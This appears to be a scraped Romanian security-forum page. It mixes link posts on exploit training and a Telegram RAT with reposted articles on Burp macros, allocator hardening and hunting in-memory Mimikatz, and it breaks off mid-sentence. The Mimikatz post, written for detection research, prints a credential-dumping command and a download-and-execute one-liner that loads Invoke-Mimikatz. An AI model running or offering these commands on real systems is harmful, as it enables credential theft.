Leaderboard

Le va folosi pentru a-si "antrena" AI-ul si pentru a-ti oferi reclame targetate in functie de ce se afla in poze. Nu vor fi facute publice si nici nu iti vor disparea vreodata, daca asta te ingrijoreaza. In caz ca vreodata va veni ziua in care Google Photos va disparea (desi improbabil in momentul de fata), Google cu siguranta iti va da timp cel putin un an de zile sa gasesti o alternativa pentru a-ti muta pozele.

https://github.com/mvrozanti/RAT-via-Telegram

This website provides an interactive exploit development learning area. Every user has access to his own, personal Linux container. The container can be x32 and x64, with and without ASLR - and even 32 bit and 64 bit ARM. https://exploit.courses/#/inde

Da, si wallet-urile alea iti vin si cu masina, o pizda de 18 ani si o casa.

Black Hat Publicat pe 31 aug. 2017 A processor is not a trusted black box for running code; on the contrary, modern x86 chips are packed full of secret instructions and hardware bugs. In this talk, we'll demonstrate how page fault analysis and some creative processor fuzzing can be used to exhaustively search the x86 instruction set and uncover the secrets buried in your chipset. Full Abstract:https://www.blackhat.com/us-17/briefi... Download PDF: https://www.blackhat.com/docs/us-17/thursday/us-17-Domas-Breaking-The-x86-Instruction-Set-wp.pdf

Advanced Flash Vulnerabilities in Youtube " ...Flash has been replaced by new javascript/html5 features. These features introduce complexity and new kind of vulnerabilities like bad CORS implementation, DOM XSSes triggered by postMessage or XHR requests, active mixed content… Learning from Flash mistakes can help design and implement more secure javascript applications. The new Youtube html5 Api is mostly a porting of the Youtube Flash Api to javascript, making it interesting to study. In fact, I was able to find XSSes in the Youtube html5 Api using my knowledge of the Flash Api. " Source: https://opnsec.com/2017/08/advanced-flash-vulnerabilities-in-youtube/

Prezentat la Blackhat Asia 2016 more info - Instrumentation Techniques and ROP Exploit Rapid Analysis PDF: http://blackhat.com/docs/asia-16/materials/arsenal/asia-16-Li-StackPivotChecker.pdf download: http://blackhat.com/docs/asia-16/materials/arsenal/asia-16-Li-StackPivotChecker-tool.zip

Ultimul update al listei: 29.08.2017 Aplicatii Extensii Chrome Design Scripturi JS & HTML Teme HTML Scripturi PHP Plugin-uri Wordpress Teme Wordpress Tutoriale Misc

Hack The Box is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with other members of similar interests. It contains several challenges that are constantly updated. Some of them simulating real world scenarios and some of them leaning more towards a CTF style of challenge.As an individual, you can complete a simple challenge to prove your skills and then create an account, allowing you to connect to our private network (HTB Net) where several machines await for you to hack them. By hacking machines you get points that help you advance in the rankings. https://www.hackthebox.eu

Automating Web Apps Input fuzzing via Burp Macros Posted on September 3, 2017 by Samrat Das Hi Readers, This article is about Burp Suite Macros which helps us in automating efforts of manual input payload fuzzing. While it may be know to many testers, this article is written for those who are yet to harness the power of burp suite’s macro automation. In my penetration testing career so far, while performing fuzzing of parameters and page fields in web applications, I did encounter some challenges relating to session handling. In multiple cases, the application used to terminate the session being used for testing, this either happened due to some security countermeasures ( for example: getting unsafe input, the session used to get logged out) or in other cases, the say the burp spider/ crawler used to fuzz the logout page parameters and terminate the session. In such cases, further scans, probes and requests becomes unproductive. Since you have to perform a re login and establish the session of the application. I used to do this manually and it was a bit of cumbersome. While trying to find a workaround, I was going through the Burp Suite functions and based on my curiosity, I noticed Burp’s session handling functionality. After probing around the options, I came to the idea backed by some on line research that Burp takes care of the above challenges with some rule based macros. In simple words, say if fuzzing parameters leads to termination of session, Burp can auto login the app with the credentials, and continue scanning and crawling itself. Things needed: 1 I used burp’s free version (1.7.21 free) 2 Any website which has session handling ( I am showing using the classic demo.testfire.net) Step 1: This is the website I am showing which has a login feature: Vulnerable Website Step 2: At this point, I am simply keeping the interception off in burp suite and putting the credentials here to perform a login. Login Page Step 3: Here we enter the logged in page of the website: Login field values Step 4: Now in order to test the session handling, we can send this page request to burp’s repeater tab and by removing the cookies have a look if the session is terminated due to session breaking. Request using repeater Step 5: We can see that the page session is working since we have a proper session. Let’s try to remove the cookies and test again Repeater Tab Step 6: As we can see, the session gets logged out and we need to login back again to continue testing. Session Terminated Step 7: Now comes to the rescue- Burp Macros. Navigate to : Project Options -> Sessions -> Session Handling Rules Setting up Macro Step 8: Here we can see that there is a default rule – Use cookies from Burp’s cookie jar. Burp Cookie Jar Step 9: Click add button to create a new rule. Adding rule for macro Step 10: Put a rule description which suits you and under rule actions, select “Check session is valid” Setting burp rule description Step 11: Once you click OK, the session handling editor will fire up which will show the default: Issue current request. Leave as it is and scroll down to “if session is invalid, perform the following action” Rule Configuration Rule Configuration Setting Step 12: Tick the if session invalid and click on add macro. At this point, you will get a Macro Recorder which has all the proxy history. Click and select the page which has the login credentials and performs a login. Click ok Step 13: Once you click ok, the Macro editor will fire up and you can name it with a custom name, as well as have options to simulate the macro, re-record, re-analyze. Macro Recorder Step 14: Before to running a test, configure the parameters to identify if burp has captured the test parameters correctly. Macro Recorder Parameter Check Step 15: Since here all is set, we can perform a run of test macro post click ok. Step 16: Now click on final scope and set the URL Scope to all urls / suite scope/ custom scope to guide the macro where to run. Step 17: I leave it include all URLs here. Let’s now head over to repeater again to test our macro. Scope setting for macro Step 18: Take a look, we are trying to access the main page without cookies in repeater tab: Step 19: Once we hit go, the cookies will automatically get added to the request and the page will load up! Tampering cookie value to check session Macro executed Macro executed with cookie added So that’s it. It’s a sweet and simple way to show how burp is useful for creating session based rules and macros. We can simply fuzz the input fields with our test payloads to check for vulnerabilities such as XSS, SQLi, IDOR etc. Even if the application gets timed out due to intermediate inactivity or protects session against junk inputs while automated scanning or manual testing, such macros will help you execute the recorded action and log you back inside the app! You can explore it further to use cookie jar/ burp extender and lots of other option! Happy experimenting! Sursa: http://blog.securelayer7.net/automating-web-apps-input-fuzzing-via-burp-macros/

Thursday, December 22, 2016 Hardening Allocators with ADI Memory allocators handle a crucial role in any modern application/operating system: satisfy arbitrary-sized dynamic memory requests. Errors by the consumer in handling such buffers can lead to a variety of vulnerabilities, which have been regularly exploited by attackers in the past 15 years. In this blog entry, we'll look at how the ADI (Application Data Integrity) feature of the new Oracle M7 SPARC processors can help in hardening allocators against most of these attacks. A quick memory allocator primer Writing memory allocators is a challenging task. An allocator must be performant, limit fragmentation to a bare minimum, scale up to multi-thread applications and handle efficiently both small and large allocations and frequent/unfrequent alloc/free cycles. Looking in depth at allocator designs is beyond the scope of this blog entry, so we'll focus here on only the features that are relevant from an exploitation (and defense) perspective. Modern operating systems deal with memory in page-sized chunks (ranging from 8K up to 16G on M7). Imagine an application that needs to store a 10 characters string: handing out a 8K page is certainly doable, but is hardly an efficient way to satisfy the request. Memory allocators solve the problem by sitting between the OS physical page allocator and the consumer (being it the kernel itself or an application) and efficiently manage arbitrary sized allocations, dividing pages into smaller chunks when small buffers are needed. Allocators are composed of three main entities: live buffers: a chunk of memory that has been assigned to the application and is guaranteed to hold at least the amount of bytes requested. free buffers: chunks of memory that the allocator can use to satisfy an application request. Depending on the allocation design, these are either fixed-size buffers or buffers that can be sliced in smaller portions. metadata: all the necessary information that the allocator must maintain in order to efficiently work. Again, depending on the allocator design, this information might be stored within the buffer itself (e.g. Oracle Solaris libc malloc stores most of the data along with the buffer) or separately (e.g. Oracle Solaris umem/kmem SLAB allocator keeps the majority of the metadata into dedicated structures placed outside the objects) Since allocators divide a page in either fixed-size or arbitrary-size buffers, it's easy to see that, due to the natural flow of alloc/free requests, live buffers and free buffers end up living side by side in the linear memory space. The period that goes from when a buffer is handed out to an application, up until is freed is generally referred to as the buffer lifetime. During this period, the application has full control of the buffer contents. After this period, the allocator regains control and the application is expected to not interfere. Of course, bugs happen. Bugs can affect both the application working set of buffers or the allocator free set and metadata. If we exclude allocator intrinsic design errors (which, for long existing allocators, due to the amount of exercise they get, are basically zero), bugs always generate from the application mishandling of a buffer reference, so they always happen during the lifetime of a buffer and originate from a live buffer. It's no surprise that live buffer behavior is what both attackers and defenders start from. Exploitation vectors and techniques As we said, bugs originate from the application mishandling of allocated buffers: mishandling of buffer size: the classic case of buffer overflow. The application writes past the buffer boundaries into adjacent memory. Because buffers are intermixed with other live buffers, free buffers and, potentially, metadata, each one of those entities becomes a potential target and attackers will go for the most reliable one. mishandling of buffer references: a buffer is relinquished back to the allocator, but the attacker still holds a reference to it. Traditionally, these attacks are known as use after free (UAF), although, since this is an industry that loves taxonomies, it's not uncommon to see them further qualified as use after realloc (the buffer is reallocated, but the attacker is capable of unexpectedly modifying it through the stale reference) and double free (the same reference is passed twice to the free path). Sometimes an attacker is also capable of constructing a fake object and passing it to a free call, for example if the application erroneously calls free of a buffer allocated onto the stack. The degree of exploitability of these vulnerabilities (if we exclude the use after realloc case, which is application-specific) varies depending on what the allocator does during the free path and how many consistency/hardening checks are present. With the notable exception of double free and "vanilla" use after free, both the above classes are extremely hard to detect at runtime from an allocator perspective, as they originate (and potentially inflict all the necessary damage) during the object lifetime and the allocator has little to none practical control on the buffer. For this reason, the defense focus has been on the next best thing when bug classes cannot be eradicated: hamper/mitigate exploitation techniques. Over the years (and at various degrees in different allocators) this has taken the form of: entrypoint checks: add consistency check at the defined free and alloc entrypoints. As an example, an allocator could mark into the buffer associated metadata (or poison the buffer itself) that the buffer has been freed. It would then be able to check this information whenever the free path is entered and a double free could be easily detected. Many of the early days techniques to exploit heap overflows (~2000, w00w00 , PHRACK57 MaXX's and anonymous' articles) relied on modifying metadata that would then be leveraged during the free path. Over time, some allocators have added checks to detect some of those techniques. design mitigations: attackers crave for control of the heap layout: in what sequence are buffer allocated, where are they placed, how can a buffer containing sensitive data be conveniently allocated in a specific location. Allocators can introduce statistical mitigations to hamper some of the techniques to achieve this level of control. As an example, free object selection can be randomized (although it ends up being pretty ineffective against a variety of heap spraying techniques and/or if the attacker has quite some control on the allocation pattern), free patterns can be modified (Microsoft IE Memory Protector) or sensitive objects can be allocated from a different heap space (dedicated SLAB caches, Windows IE Isolated Heap, Chrome PartitionAlloc, etc). The bottom line goal of these (and other) design approaches is to either reduce the amount of predictability of the allocator or increase the amount of precise control that the attacker needs to have in order to create the successful heap layout conditions to exploit the bug. Of course, more invasive defenses also exist, but they hardly qualify for large scale application, as users tend to (rightfully) be pretty concerned about the performance of their applications/operating systems. This becomes even more evident when we compare the amount of defenses that are today enabled and deployed at kernel level versus the amount of defenses enabled at user level (and in browsers): different components have different (and varying) performance requirements. The practical result is that slab overflows are today probably the most reliable type of vulnerability at kernel level and use after free are a close second in kernel land, while extensively targeted in user land, with only the browsers being significantly more hardened than other components. Extensive work is going on towards automating and abstracting the development of exploits for such bugs (as recently presented by argp at Zeronights), which makes the design of efficient defenses even more compelling. ADI to the rescue Enter the Oracle SPARC M7 processor and ADI, Application Data Integrity, that were both unveiled at HotChips and Oracle OpenWorld 2014. At its core, ADI provides memory tagging. Whenever ADI is enabled on a page entry, dedicated non-privileged load/store instructions provide the ability to assign a 4-bit version to each 64-byte cacheline that is part of the page. This version is maintained by the hardware throughout the entire non-persistent memory hierarchy (basically, all the way down to DRAM and back). The same version can then be mirrored onto the (previously) unused 4 topmost bits of each virtual address. Once this is done, each time a pointer is used to access a memory range, if ADI is enabled (both at the page and per-thread level), the tag stored in the pointer is checked by the hardware against the tag stored in the cache line. If the two match, all is peachy. If they don't, an exception is raised. Since the check is done in hardware, the main burden is at buffer creation, rather than at each access, which means that ADI can be introduced in a memory allocator and its benefit extended to any application consuming it without the need of extra instrumentation or special instructions into the application itself. This is a significant difference from other hardware-based memory corruption detection options, like Intel MPX, and minimizes the performance impact of ADI while maximizing coverage. More importantly, this means we finally have a reliable way to detect live object mishandling: the hardware does it for us. [ADI versioning at work. Picture taken from Oracle SPARC M7 presentation] 4 bits allow for a handful of possible values. There are two intuitive ways in which an ADI-aware allocator can invariantly detect a linear overflow from a buffer/object to the adjacent one: introduce a redzone with a special tag tag differently any two adjacent buffers Introducing a redzone means wasting 64-byte per allocation, since 64-byte is the minimum granularity with ADI. Wasted memory scales up linearly with the number of allocations and might end up being a substantial amount. Also, the redzone entry must be 64-byte aligned as well, which practically translates in both buffers and the redzone to be 64-byte aligned. The advantage of this approach is that is fairly simple to implement: simply round up every allocation to 64-byte and add an extra complimentary 64-byte buffer. For this reason, it can be a good candidate for debugging scenarios or for applications that are not particularly performance sensitive and need a simple allocation strategy. For allocators that store metadata within the buffer itself, this redzone space could be used to store the metadata information. Mileage again varies depending on how big the metadata is and it's worth to point out that general purpose allocators usually strive to keep it small (e.g. Oracle Solaris libc uses 16 bytes for each allocated buffer) to reduce memory wastage. Tagging differently two adjacent objects, instead, has the advantage of reducing memory wastage. In fact, the only induced wastage is the one from forcing the alignment to a 64-byte boundary. It also requires, though, to be able to uniquely pick a correct tag value at allocation time. Object-based allocators are a particularly good fit for this design because they already take some of the penalty for wasted memory (and larger caches are usually already 64-bit aligned) and their design (fixed size caches divided in a constant number of fixed size objects) allows to uniquely identify objects based on their address. This provides the ability to alternate between two different values (or range of values, e.g. odd/even tags, smaller/bigger than a median) based on the ibject position. For other allocators, the ability to properly tag the buffer depends on whether there is enough metadata to learn about the previous and next object tag. If there is, then this can still be implemented, if there isn't, one might decide to employ a statistical defense by randomizing the tag (note that the same point applies also to object-based allocators when we look at large caches, where effectively only a single object is present per cache). A third interesting property of tagging is that it can be used to uniquely identify classes of objects, for example free objects. As we discussed previously, metadata and free objects are never the affector, but only the affectee of an attack, so one tag each suffices. The good side effect of devoting a tag each is that the allocator now has a fairly performant way to identify them and issues like double-frees can be easily detected. In the same way, it's also automatically guaranteed that a live object will never be able to overflow into metdata or free objects, even if a statistical defense (e.g. tag randomization) is employed. Use-after-realloc and arbitrary writes ADI does one thing and does it great: provides support to implement an invariant to detect linear overflows. Surely, this doesn't come without some constraints (64-byte granularity, 64-byte alignment, page-level granularity to enable it, 4-bit versioning range) and might be a more or less good fit (performance and design-wise) for an existing allocator, but this doesn't detract from its security potential. Heartbleed is just one example of a linear out-of-bound access and SLAB/heap overflow fixes have been in the commit logs of all major operating systems for years now. Invariantly detecting them is a significant win. Use-after-realloc and arbitrary writes, instead, can't be invariantly stopped by ADI, although ADI can help in mitigating them. As we discussed, use-after-realloc rely on the ability, by the attacker, to hold a reference to a free-and-then-realloced object and then use this reference to modify some potentially sensitive content. ADI can introduce some statistical noise in this exploitation path, by looping/randomizing through different values for the same buffer/object. Note that this doesn't affect the invariant portion of, for example, alternate tagging in object-based allocators; it simply takes further advantage of the versioning space. Of course, if the attacker is in the position of performing a bruteforce attack, this mitigation would not hold much ground, but in certain scenarios, bruteforcing might be a limiting factor (kernel level exploitation) or leave some detectable noise. Arbitrary writes, instead, depend on the ability of the attacker to forge an address and are not strictly related to allocator ranges only. Since the focus here is the allocator, the most interesting variant is when the attacker has the ability to write to an arbitrary offset from the current buffer. If metadata and free objects are specially tagged, they are unreachable, but other live objects with the same tag might be reached. Just as in the use-afte-realloc case, adding some randomization to the sequence of tags can help, with the very same limitations. In both cases, infoleaks would precisely guide the attacker, but this is basically a given for pretty much any statistical defense. TL;DR Oracle SPARC M7 processors come with ADI, Application Data Integrity, a feature that provides memory tagging. Memory allocators can take advantage of it both for debugging and security, in order to invariantly detect linear buffer overflows and statistically mitigate against use-after-free and offset-based arbitrary writes. lazytyped at 9:35 AM Sursa: https://lazytyped.blogspot.ro/2016/12/hardening-allocators-with-adi.html?m=1

Saturday, March 11, 2017 Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon and ELK - Part I (Event ID 7) This post marks the beginning of the "Chronicles of a Threat Hunter" series where I will be sharing my own research on how to develop hunting techniques. I will use open source tools and my own lab at home to test real world attack scenarios. In this first post, I will show you the beginning of some research I have been doing recently with Sysmon in order to hunt for when Mimikatz is reflectively loaded in memory. This technique is used to dump credentials without writing the Mimikatz binary to disk. Invoke-Mimikatz.ps1 Author: Joe Bialek, Twitter: @JosephBialek Mimikatz Author: Bejamin Delpy 'gentilkiwi', Twitter: @gentilkiwi This first part will cover how we could approach the detection of in-memory Mimikatz by focusing on the specific Windows DLLs that it needs to load in order to work (no matter what process it is running from and if it touches disk or not). I will compare the results when Mimikatz is run on disk and in memory to see the specific DLLs needed on both scenarios.There is an article that talks about this same approach, but I feel that it could be improved upon. It is still a good read, and I love the approach. You can read it here. Requirements: Sysmon installed (I have version 6 installed) Winlogbeat forwarding logs to an ELK Server I recommend to read my series "Setting up a Pentesting.. I mean, a Threat Hunting Lab" specially parts 5 & 6 to help you set up your environment. Mimikatz binary (Version 2.1 20170305) Invoke-Mimikatz notepad++ - Great local editor for your Sysmon configs. Mimikatz Overview Mimikatz is a Windows x32/x64 program coded in C by Benjamin Delpy (@gentilkiwi) in 2007 to learn more about Windows credentials (and as a Proof of Concept). There are two optional components that provide additional features, mimidrv (driver to interact with the Windows kernal) and mimilib (AppLocker bypass, Auth package/SSP, password filter, and sekurlsa for WinDBG). Mimikatz requires administrator or SYSTEM and often debug rights in order to perform certain actions and interact with the LSASS process (depending on the action requested) [Source]. Mimikatz comes in two flavors: x64 or Win32, depending on your windows version (32/64 bits). Win32 flavor cannot access 64 bits process memory (like lsass), but can open 32 bits minidump under Windows 64 bits. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. Mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets. [Source] In-Memory Mimikatz What gives Invoke-Mimikatz its “magic” is the ability to reflectively load the Mimikatz DLL (embedded in the script) into memory [Source]. However, it needs other native Windows DLLs loaded on disk in order to do its job. Event ID 7: Image loaded The image loaded event logs when a module is loaded in a specific process. This event is disabled by default and needs to be configured with the –l option. It indicates the process in which the module is loaded, hashes and signature information. The signature is created asynchronously for performance reasons and indicates if the file was removed after loading. This event should be configured carefully, as monitoring all image load events will generate a large number of events. [Source] Getting ready to hunt for Mimikatz Getting a Sysmon Config ready The main goal is to monitor for "Images Loaded" when Mimikatz gets executed. However, first we have to make sure that we understand what "normal" looks like. Therefore, the first think that I recommend to do is to monitor images getting loaded by the process which will be executing Mimikatz in its two forms (the Mimikatz binary and Invoke-Mimikatz). We will test Mimikatz on disk first. This first step of logging Images loaded by the process executing mimikatz will be more helpful when we test the Invoke-Mimikatz script, but it is a good exercise for you to understand the testing methodology. The process that I used for this first test was "PowerShell.exe" so I created a basic Sysmon configuration to only log images loaded by this process. It is available in github as shown below. <Sysmon schemaversion="3.30"> <!-- Capture all hashes --> <HashAlgorithms>md5</HashAlgorithms> <EventFiltering> <!-- Event ID 1 == Process Creation. --> <ProcessCreate onmatch="include"/> <!-- Event ID 2 == File Creation Time. --> <FileCreateTime onmatch="include"/> <!-- Event ID 3 == Network Connection. --> <NetworkConnect onmatch="include"/> <!-- Event ID 5 == Process Terminated. --> <ProcessTerminate onmatch="include"/> <!-- Event ID 6 == Driver Loaded.--> <DriverLoad onmatch="include"/> <!-- Event ID 7 == Image Loaded. --> <ImageLoad onmatch="include"> <Image condition="end with">powershell.exe</Image> </ImageLoad> <!-- Event ID 8 == CreateRemoteThread. --> <CreateRemoteThread onmatch="include"/> <!-- Event ID 9 == RawAccessRead. --> <RawAccessRead onmatch="include"/> <!-- Event ID 10 == ProcessAccess. --> <ProcessAccess onmatch="include"/> <!-- Event ID 11 == FileCreate. --> <FileCreate onmatch="include"/> <!-- Event ID 12,13,14 == RegObject added/deleted, RegValue Set, RegObject Renamed. --> <RegistryEvent onmatch="include"/> <!-- Event ID 15 == FileStream Created. --> <FileCreateStreamHash onmatch="include"/> <!-- Event ID 17 == PipeEvent. --> <PipeEvent onmatch="include"/> </EventFiltering> </Sysmon> view raw PowerShell_ImagesLoaded.xml hosted with ❤ by GitHub Download and save the Sysmon config in a preferred location of your choice as shown in Figure 1 below. Figure 1. Saving custom sysmon config. Update your Sysmon rules configuration. In order to do this, make sure you run cmd.exe as administrator, and use the the configuration you just downloaded as shown in figure 3 below. Run the following commands: Sysmon.exe -c [Sysmon config xml file] Then, confirm if your new config is running by typing the following: sysmon.exe -c (You will notice that the only things being logged will be Images loaded by "PowerShell" as shown in figure 3 below.) Figure 2. Running cmd.exe as an Administrator. Figure 3. Updating your Sysmon rules configuration. You should be able to open your Event Viewer and verify that the last event logged by Sysmon was Event ID 16 which means that your Sysmon config state changed. You should not get any other events after that unless you launch PowerShell. If so, try to update your config one more time as shown in figure 3 above. Figure 4. Checking Sysmon logs with the Event Viewer console. Delete/Clean your Index If you open your Kibana console and filter your view to show only Sysmon logs, you will see old records that were sent to your ELK server before updating your Sysmon config. In order to be safe and make sure you don't have old Images loaded that might interfere with your results, I recommend to delete/clear your Index by running the following command as shown in figure 6 below: curl -XDELETE 'localhost:9200/[name of your index]?pretty' If you are using my Logstash configs, an index gets created as soon as it passes data to your elasticsearch. Figure 5. Old Sysmon logs displayed on your Kibana console. Figure 6. Clearing contents of your main Index. (Clearing Logs) Now, if you refresh your view (filtering only to show Sysmon logs again), you should not see anything unless you execute PowerShell. Figure 7. No Sysmon logs in ElasticSearch yet. Create a Visualization for "ImageLoaded" events I do this so that I can group events and visualize data properly instead of using the event viewer. To get started do the following: Click on "Visualize"on the left panel Select "Data Table" as your visualization type Figure 8. Creating a new visualization. Data Table type. Select the index you want to use (In this case, the only one available is Winlogbeat) Figure 9. Selecting the right index for the visualization. As shown in figure 10 below: Select the "Split Rows" bucket type Select the aggregation type "Terms" Select the data field for the visualization (event_data.ImageLoaded.keyword) By default data will be ordered "Descending". Set the number of records to show to "200" (We do this to make sure we show all the modules being loaded) Figure 10. Creating visualization. Click on "options" and set the "Per Page" value to show 20 results per page. Remember we set this visualization to show the top 200 records in figure 10 above, and now to show 20 records per page. If you end up having 10 pages full of records, then you might want to increase the number of records to show more than 200 since you might not be showing all the results. Figure 11. Setting visualization options. Give a name to your new visualization and save it. Figure 12. Saving visualization. Figure 13. Saving visualization. Creating a simple dashboard to add our visualization To get started do the following: Click on "Dashboard" on the left panel. (Figure 14) Click on "Add" on the options above your Kibana search bar. (Figure 15) Figure 14. Creating a new dashboard. Select the visualization we just created for Images loaded. This will add the visualization to your dashboard. Figure 15. Adding our new visualization. Figure 16. Visualization added to our new dashboard. Save your new dashboard: Click on "Save" between the options "Add" and "Open". Give your dashboard a name and save it. Figure 17. Saving new dashboard. Figure 18. Saving new dashboard. Testing/Logging Images loaded by PowerShell As I stated before, if we want to detect anomalies, we have to first understand what normal looks like. Therefore, in this section, we will find out what images get loaded when PowerShell is launched in order to start creating a baseline. To get started, launch PowerShell and close it. Figure 19. Opening PowerShell. Next, refresh your dashboard by clicking on the magnifier glass icon located to the right of the Kibana Search bar. You will see that there are several images/modules that were loaded when PowerShell executed as shown in figure 20 below. Figure 20. Logging Images loaded by PowerShell. If we go to our last page, page #4, we can see that there are 12 results on a 20 per page setup. This means that we have 3 pages with 20 records and 1 with 12. Therefore, we can say that PowerShell loads 72 images when we open it and close it. Figure 21. Logging Images loaded by PowerShell. Now in order to verify that PowerShell loads 72 images most of the time, I opened and closed PowerShell 4 times as shown in figure 22 below. Figure 22. Opening and closing PowerShell 4 times. Once you refresh your dashboard again, you will see that we have the same images being loaded and the number (Count) of images increased by 4. We now see a count of 5 for every single unique Image loaded. A total again of 72 unique images loaded 5 times. Until this point, it is clear that PowerShell only loads 72 images when it starts for basic functionalities (Default). We are now ready to test Mimikatz on disk. Figure 23. Images loaded by PowerShell after being opened and closed 4 more times. Figure 24. Images loaded by PowerShell after being opened and closed 4 more times. Detecting Mimikatz on Disk Download the latest Mimikatz Trunk Our first test will be running the Mimikatz binary available here as shown in figure 25. Figure 25. Downloading Mimikatz binaries. Download and save your Mimikatz folder in a preferred location of your choice as shown in figure 26 below. I show you this because it is important that you remember the right path of the mimikatz binary you will use for the first test. We will need the path to update our sysmon config and log the images loaded by the mimikatz binary. Figure 26. Downloading Mimikatz binaries. Edit and Update your Sysmon config Add another rule to the configuration we used earlier. Open the config with notepad++ and add another "Image" rule specifying the path to mimikatz.exe as shown in figure 28. Figure 27. Editing our Sysmon config. Figure 28. Editing our Sysmon config. Open cmd.exe as administrator and run the following commands as shown in figure 29 below: sysmon.exe -c [edited sysmon xml file] Then, confirm that the changes were applied by running the following command: sysmon.exe -c (You will see that our new rule now shows up below our PowerShell one) Figure 29. Updating Sysmon rule configuration. TIP: Extend the Time Range of your Dashboard Remember that by default your Dashboard is set to show the last 15 minutes of data stored in elasticsearch. I always extend my time range to 15 or 30 minutes to make sure I still show logs that were captured more than 15 minutes ago (That is sometimes how much time it takes me to do all the extra stuff to get ready or I just simply get distracted). It depends on how much time you take between each update or change you make to your config or strategy. You just want to make sure that your time range is right in order to capture all your results. Figure 30. Extending the time range of your dashboard. Running Mimikatz on Disk Now that we have everything ready, lets first run PowerShell as Administrator. If you refresh your dashboard, the count of almost every single image/module will be increased by 1 as shown in figure 32 below. Figure 31. Running PowerShell as Administrator. Figure 32. PowerShell opened as Administrator. Now, it is really important to make sure we do not load extra images that could be mixed with modules loaded by the Mimikatz binary. Before running Mimikatz, I wanted to show you what happens when you fat finger a command in PowerShell. Yes, it actually loads an image named diasymreader.dll as shown in figure 34 below. Therefore, if you fat finger the wrong arguments while executing Mimikatz, make sure you do not count diasymreader.dll as part of your results. Figure 33. Testing wrong arguments in PowerShell One important thing also to mention is that PowerShell loads netutils.dll when the console closes. Therefore, since we are not closing our PowerShell console yet, you will still see netutils.dll with a count of 5 and not 6. We are using our High integrity PowerShell process to run mimikatz so we cant close it yet. Figure 34. Extra image loaded by PowerShell after executing wrong arguments. It is time to test our Mimikatz binary. Change your directory to the one where the Mimikatz binary is stored (I used the x64 one). Launch the following commands and close your PowerShell console: .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit Figure 35. Running Mimikatz on disk. Next, refresh your dashboard. You will see that our count for every single image on page 1 increased by 1. That means that Mimikatz also loads those images when it executes. This is an important first finding because those first images might not be unique enough to be used to fingerprint Mimikatz. Figure 36. Images loaded after executing Mimikatz on disk. If you go to page #4, you will see that we start to see a few unique ones loaded by mimikatz (remember that diasymreader.dll was not loaded by mimikatz). Also, you can see that image mimikatz.exe was loaded 4 times and by PowerShell of course. Figure 37. Images loaded after executing Mimikatz on disk. If you go to the next page, page #5, you can see the last unique images loaded by mimikatz. Now this is good for this exercise because we can at least have a basic understanding of the, so far, unique images being loaded by mimikatz when executed on disk. Figure 38. Images loaded after executing Mimikatz on disk. What if I want to see images loaded by Mimikatz only? What I like about using Kibana is that I can filter out or group data records with unique characteristics. Lets say you want to select only images loaded by Mimikatz.exe. We will have to create an extra visualization and add it to our dashboard. You could also type a query on the Kibana Search bar to accomplish that, but I prefer to have an extra visualization that I can interact with too (good exercise). As explained before, in order to create a visualization, click on Visualize on the left panel, and it will automatically take you to edit the only visualization that we have in our dashboard. Next, click on "New" to create a new visualization as shown in figure 39 below. Figure 39. Creating a new visualization. Select Data Table for the visualization type and Winlogbeat for the index. Figure 40. Creating a new visualization. For this visualization, do the following: Set the field to event_data.Image.keyword Give it a name and save it Figure 41. Creating a new visualization. Figure 42. Saving the new visualization. Click on Dashboard on the left console, and add the new visualization to your dashboard as shown in figure 43 below. Figure 43. Adding visualization to dashboard. You will see that now we have better numbers to show per Image (PowerShell.exe & Mimikatz.exe). You can see that PowerShell loaded 437 images overall. That makes sense because we know that it loads 72 images every time it opens and closes, and we used it 6 times which gives us 432 images. We also made PowerShell load one extra image when I showed you what happened when you fat finger a command so with that one we would have 433. Plus the other 4 images named mimikatz.exe that were loaded when we used PowerShell to execute the Mimikatz binary. All that gives us our 437 images loaded as shown in figure 44. Figure 44. New visualization added to dashboard. Then, what you can do with this new visualization is to click on the Image "C:\Tools\mimikatz_trunk\x64\mimikatz.exe" and it will automatically create a filter to show only the images loaded by your selection as shown in figure 46 below. Figure 45. Images loaded only by PowerShell and Mimikatz. Figure 46. Images loaded only by Mimikatz. Figure 47. Images loaded only by Mimikatz. You can also download all the results of the visualization Images_Loaded by clicking on the option "Formatted" below the data table results.That will allow you to export all the results in a CSV format. Save it and open it to highlight a few things. Figure 48. Exporting results of images loaded in a CSV format. Figure 49. Saving CSV file. Open the file and highlight the unique images that were loaded by Mimikatz when it was run on disk. That will help you to document your results. So far, we can consider the highlighted images to be our initial fingerprint for Mimikatz. That will change of course when you start collecting modules being loaded by other programs and comparing results. Figure 50. Result of images loaded after executing Mimikatz on disk. Detecting In-memory Mimikatz Delete/Clean your Index Our next test will be launching mimikatz reflectively in memory. To get started delete/clear your index as shown in figure 51 below. Figure 51. Deleting Index. Refresh your dashboard to confirm that the index was deleted/cleared. Figure 52. Empty Dashboard. Getting ready to run Invoke-Mimikatz Invoke-Mimikatz is not updated when Mimikatz is, though it can be (manually). One can swap out the DLL encoded elements (32bit & 64bit versions) with newer ones. Will Schroeder (@HarmJ0y) has information on updating the Mimikatz DLLs in Invoke-Mimikatz (it’s not a very complicated process). The PowerShell Empire version of Invoke-Mimikatz is usually kept up to date. [Source] Figure 53. Empire's latest Invoke-Mimikatz script. Figure 54. Empire's latest Invoke-Mimikatz script. As shown before in figure 22 when we were getting ready to run the mimikatz binary, we want to make sure that we have a basic baseline of images/modules being loaded by PowerShell when it is opened and closed. Open and close PowerShell 4 times as shown in figure 55 below. Figure 55. Opening and closing PowerShell 4 times. We can see the same 72 images being loaded 4 times. It should show a total of 288, but there might have been a delay making it to the server. I probably refreshed my dashboard to soon and did not capture the last netutils.dll load which happens when PowerShell exits. Anyways, I think that we have a good basic baseline before running mimikatz reflectively in the same PowerShell process. Figure 56. Images loaded by PowerShell before running Mimikatz. Baselining how PowerShell will download Invoke-Mimikatz The easiest way to test Invoke-Mimikatz is by going to its github repo and downloading it before executing it in memory. We have to make sure that we understand what extra images PowerShell needs to load in order to perform network operations and download Invoke-Mimikatz as a string. We can use the same approach of opening and closing PowerShell and run only the commands that will pull the script as a string from Github without executing it yet as shown in figure 57 below. IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') Figure 57. Running commands to only download Invoke-Mimikatz. Next, 